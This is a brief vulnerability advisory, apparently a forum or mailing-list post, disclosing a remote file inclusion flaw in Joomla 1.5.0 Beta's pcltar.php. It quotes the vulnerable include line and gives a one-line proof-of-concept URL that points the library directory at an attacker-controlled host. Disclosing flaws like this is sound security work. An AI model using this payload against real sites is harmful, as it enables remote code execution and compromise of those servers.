Hi, Joomla! 1.5.0 is in Beta version and "should NOT to be used for `live` or `production` sites." Joomla 1.0.12 has a good security but it seems that Joomla 1.5.0 doesnt have a good security approach. Anyway, there is a remote file inclusion in Joomla 1.5.0 Beta : File /libraries/pcl/pcltar.php, Line 74 : if (!defined("PCLERROR_LIB")) { include($g_pcltar_lib_dir."/pclerror.lib.".$g_pcltar_extension); } POC : http://hacked/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://hacker/? The original advisory (in Persian) is located at : http://www.hackers.ir/advisories/joomla.html - Omid